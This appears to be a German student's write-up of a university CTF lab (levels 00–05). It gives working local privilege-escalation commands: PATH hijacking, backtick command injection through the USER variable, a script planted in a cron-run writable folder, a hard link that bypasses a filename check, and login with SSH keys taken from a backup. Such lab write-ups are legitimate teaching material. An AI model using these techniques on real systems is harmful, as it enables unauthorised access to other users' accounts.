

Übung 5 CTF

Login with SSH

ssh -p 2200 level00@127.0.0.1
password: level00

Level 00

Nach ausführbaren Dateien des Users flag00 gesucht und den output in eine Textdatei gepiped, welches die ganzen "Permission denied" nicht mitschreibt.

```
find /. -type f -executable -user flag00 >> output.txt
```

Danach die File aufgemacht, welches nur zwei Einträge hat.

```
./bin/.../flag00  
./rofs/bin/.../flag00
```

File ausgeführt:

```
flag00@smsctf:~$ ./rofs/bin/.../flag00  
Congrats, now run getflag to get your flag!  
flag00@smsctf:~$ getflag  
You have successfully executed getflag on a target account  
flag00@smsctf:~$
```

Level 01

Idee:

getflag über echo aufrufen. Dazu nicht /bin/echo Befehl verwenden (weil man dafür keine Befugnis hat), sondern eigenes echo, welches im root Verzeichnis erstellt wurde und

```
/bin/getflag
```

ausführt.

Dazu wird für den auszuführenden Befehl der PATH auf unser Verzeichnis gesetzt, indem sich das neue echo befindet und anschließend das flag01 file, welches die Flagge captured ->

```
PATH=/home/level01 /home/flag01/flag01
```

```
level01@smsctf:~$ PATH=/home/level01 /home/flag01/flag01
You have successfully executed getflag on a target account
level01@smsctf:~$ |
```

Level 02

Der

```
asprintf(&buffer, "/bin/echo %s is a nice MC student", getenv("USER"));
```

Befehl setzt an Stelle des %s, welches als Platzhalter dient, die Environment Variable **USER** ein.

Vorher stand **USER=level02**. Man kann nun an dieser stelle den getflag Befehl ausführen, indem man einen Shell escape macht.

Dieser sieht folgendermaßen aus:

```
export USER=\`/bin/getflag\`
```

Durch die ` wird der Inhalt Shell escaped, und führt somit /bin/getflag aus. Die \ sind wiederum zum escapen der ` verwendet.

```
level02@smsctf:/home/flag02$ ./flag02
will now execute system('/bin/echo `/bin/getflag` is a nice MC student')
You have successfully executed getflag on a target account is a nice MC student
level02@smsctf:/home/flag02$ |
```

Level 03

Crontab wird alle 20 Sekunden ausgeführt.

Im writeable.sh skript gibt es eine Schleife, welche alle scripts, die sich im writeable.d Ordner befinden ausführt, und danach löscht.

-> Skript im writeable.d Ordner erstellt und dessen execute Berechtigung gegeben.

```
touch executeGetFlag.sh
```

In dieser File wird getflag ausgeführt und das Ergebnis in eine output.txt gepiped.

```
/bin/getflag >> output.txt
```

Berechtigung gegeben:

```
chmod 755 executeGetFlag.sh
```

Danach wurde das Skript automatisch nach 20 Sekunden ausgeführt und eine output.txt mit dem Ausgabertext, dass die Flagge gecaputed wurde, erstellt.

```
level03@smsctf:/home/flag03$ ls  
output.txt writable writable.sh
```

output.txt Inhalt:

```
You have successfully executed getflag on a target account
```

Level 04

```
if(strstr(argv[1], "token") != NULL) {
```

Diese Zeile fragt nach dem Token File Namen. Da wir nicht "token" übergeben dürfen, erstellen wir einen link mit

```
ln token /home/level04/newlink
```

Somit haben wir einen Link von der File auf das Homeverzeichnis erstellt.
Als nächstes wird der Link als übergabe Parameter übergeben.

```
level04@smsctf:/home/flag04$ ./flag04 /home/level04/newlink
```

Somit wird die if Anfrage umgangen und die File ausgelesen.
Folgender String war die Ausgabe:

```
06508b5e-8909-4f38-b630-fdb148a848a2
```

Erster Gedanke war gleich, dies muss ein Passwort sein. Um getflag ausführen zu können braucht man eine Berechtigung, welche nur der flag04 User hat. Somit wurde das einloggen in das User Profil von flag04 mit dem oben erhaltenen String als Passworteingabe probiert.

```
level04@smsctf:/home/flag04$ su flag04
```

Dies war erfolgreich. Danach einfach getflag und die Flagge wurde gecaptured!

```
level04@smsctf:/home/flag04$ ln token /home/level04/link
level04@smsctf:/home/flag04$ ./flag04 /home/level04/link
06508b5e-8909-4f38-b630-fdb148a848a2
level04@smsctf:/home/flag04$ su flag04
Password:
sh-4.2$ getflag
You have successfully executed getflag on a target account
sh-4.2$ |
```

Level 05

Zuerst wurden keine Ordner, Files etc. angezeigt, weil diese versteckt waren.

Aufgefallen ist der .backup Ordner, welcher eine .tar File in sich hatte.

Diese konnte man wegen Berechtigungsgründung nicht entpacken, somit habe ich eine Kopie im /home/level05 Verzeichnis erstellt.

Das .tar Verzeichnis enthielt folgende Dateien:

```
level05@smsctf:~$ tar -xvzf backup-19072011.tgz
./ssh/
./ssh/id_rsa.pub
./ssh/id_rsa
./ssh/authorized_keys
```

Als nächstes habe ich in den .ssh Ordner gewechselt und dort eine ssh Verbindung mit folgendem Befehl aufgebaut:

```
ssh -2 -v flag05@127.0.0.1
```

- -2 steht für Protokoll Typ 2, welches zum File identifizieren benötigt wird (für ~/.ssh/id_rsa z.B)
- -v für mehr Textausgabe, was passiert.



Capture The Flag Challenge for Secure Mobile Systems Mobile Computing, Hagenberg

I

To log in, use the username of "levelXX" and password "levelXX", where XX is the level number.

Currently there are 20 levels (00 - 19).

```
debug1: Authentications that can continue: publickey,password
debug1: Next authentication method: publickey
debug1: Offering RSA public key: /home/level05/.ssh/id_rsa
debug1: Server accepts key: pkalg ssh-rsa blen 279
debug1: read PEM private key done: type RSA
debug1: Authentication succeeded (publickey).
Authenticated to 127.0.0.1 ([127.0.0.1]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: Sending environment.
debug1: Sending env LANG = en_US.UTF-8
Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-generic i686)
```

```
* Documentation: https://help.ubuntu.com/
New release '12.04 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
```

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

```
flag05@smsctf:~$ getflag
You have successfully executed getflag on a target account
flag05@smsctf:~$ |
```

Somit habe ich mich zum Host verbunden und dort **getflag** ausgeführt!